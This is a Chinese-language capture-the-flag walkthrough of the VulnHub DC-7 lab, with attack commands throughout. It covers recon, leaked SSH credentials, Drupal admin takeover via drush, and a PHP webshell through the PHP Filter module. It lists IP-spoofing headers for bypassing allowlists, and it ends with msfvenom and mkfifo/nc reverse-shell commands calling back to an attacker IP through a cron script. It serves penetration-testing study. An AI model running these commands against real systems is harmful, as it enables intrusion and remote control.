简介:DC靶场一共有9个,对于学习渗透测试人员,有很大的帮助,是非常不错的靶场。
1、下载靶场
靶机名称:DC-7(包含1个flag)
下载地址:
DC: 7 ~ VulnHub
2、安装靶场
以DC-1为例,将文件解压(一压缩包形式进行下载)。
打开虚拟机,选择解压好的文件导入虚拟机( vof 版本高于4.0,点击重试即可导入)
导入成功,开启此虚拟机( 当页面出现 DC-7 login 时表示安装成功)。
3、获取靶机的flag
前提:
1、已知kali的IP地址(ifconfig) —— kali IP地址:192.168.108.129/24 |
2、DC-7和kali在同一网段 | 已知DC-7所在的网段 —— DC-7 IP地址:192.168.108.139/24 |
3.1信息收集
获取DC-7的IP地址
命令:netdiscover -r 192.168.108.0/24
由图可知DC-7的IP地址是:192.168.108.139/24
端口扫描
命令:nmap -sV -p- 192.168.108.139
//-sV:扫描系统版本和程序版本号检测,-p-:全端口扫描
获取信息如下:
端口号 |
服务 |
版本 |
22 |
ssh |
7.4p1 |
80 |
http |
Apche 2.4.25 |
3.2 渗透测试
看到这里大致思路就是在获取了一定信息之后可以对ssh进行暴力破解
访问了web之后可以在左下角看到CMS应该就是 Drupal ,但还是识别一下CMS,并且扫描一下目录
CMS识别结果(python3 cmseek.py -u http://dc-7/ ):Drupal 8
目录扫描(dirsearch -u "http://dc-7" ):
扫到的几个有价值的目录
1、搜索
http://dc-7/search/node
2、404
http://dc-7/forum/install/core/install.php
http://dc-7/wp-admin/core/install.php
3、CMS的升级
http://dc-7/core/install.php
4、一个登录框
http://dc-7/user/login
5、403
http://dc-7/core/
http://dc-7/modules/
http://dc-7/profiles/
http://dc-7/sites/
http://dc-7/sites/
这里根据提示加上每一个打开的页面左下角都有一个作者的标志
猜测会有源码之类的,直接去github看一看
还真的找到了,这里包含了源码文件,有一个配置文件(config.php),看不懂没关系直接翻译
打开之后直接就获得了可能的账号密码(dc7user、MdR3xOgB7#dW)
在登录页面尝试登录失败(这里本来还以为是本地才行,burp抓包修改了ip也不行)
突破登录IP地址限制:
原理:如果登录系统设置了IP地址白名单,我们可以通过下面的几个http头字段伪造IP地址,用burp抓包后将下面的某个http头字段加入数据包发送到服务器
Client-Ip: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
之前不是还有一个ssh服务嘛,尝试ssh登录成功了(dc7user、MdR3xOgB7#dW)
看了一下系统版本比较高,但还是抱着试一试的心态尝试了一下脏牛,结果果然是不行
试一下sudo和suid提权吧
sudo -l #查看可以sudo使用的程序
find / -perm -4000 2>/dev/null #寻找有SUID权限(4000)的文件,不显示其他的错误信息相当于过滤
结果,这里并没有看到sudo和suid提权的方式
(常用的SUID提权命令(nmap、vim、find、bash、more、less、nano、cp 等)
突然想起来在尝试脏牛提权的时候下载完成之后显示了收到了一个邮件,并且给出了地址
查看邮件,看看有没有什么敏感信息泄露,打开后看到了root和两个文件的地址
cat /var/mail/dc7user
查看一下 backups.sh 文件
在这里看到 backups.sh 文件里面执行了drush命令,执行的文件是/home/dc7user/backups/website.sql
想着直接改文件路径,但是可惜只有可读和可执行的权限,并不能写文件,想要写入的话还需要获取到webshell,使用www-data的用户权限
解释:
drush是一个shell接口,用于从云服务器命令行管理Drupal。
需要在 drupal web目录执行(/var/www/[drupal_folder_name])
使用 drup 更改密码运行命令(drush user-password admin --password="new_pass")
drush user-password admin --password="admin"
这就很尴尬,前面尝试次数太多了导致的
使用以下命令创建新用户:
drush user-create root --password "root"
drush user-password root--password="root"
使用root用户登陆成功
在个人信息里面看到了上传图片的地方,做了一个图片马尝试蚁剑连接,结果失败了,burp抓包也没找到可以跨目录存储的地方
还是没有什么办法,重新去登录admin用户
后面查了一下因为dc7的CMS是Drupal8,已经移除了PHP Filter(php过滤器),后续作为一个模组存在,可以手动安装。在官网找到下载链接,下载之后给 DC-7 安装
回到admin的后台管理界面依次点击左上角的manager→extend→install new module,浏览选择刚才的压缩包。
install安装成功,点击next steps里的enable newly added modules(启用新添加的模块)激活php模块
滚轮下滑找到 php fliter 勾选之后选择安装,安装成功
在Content中添加一句话木马,依次点击:content(内容)→add content→basic page(为静态内容使用基本页面),测试添加,命名为ceshi。选择format为php code。
挂一句话木马()
使用蚁剑连接,反弹shell
结果这里发现蚁剑不能使用终端执行命令
这里只能使用php执行实现反弹shell,这里使用php-reverse-shell(自行更改ip和port)
php-reverse-shell(PHP反向外壳)
msfvenom 获取反弹一句话(插入反弹shell的执行语句)
生成 nc 反弹一句话生成
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.108.129 lport=9999 R
生成 bash 反弹一句话生成
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.108.129 lport=9999 R
尝试:
mkfifo /tmp/eieioac; nc 192.168.108.129 9999 0/tmp/eieioac 2>&1; rm /tmp/eieioac
耐心等待backups.sh这个定时任务执行(真的要等一会),因为本来一维一下就反弹的,所以很快换了三个payload,结果发现需要等待执行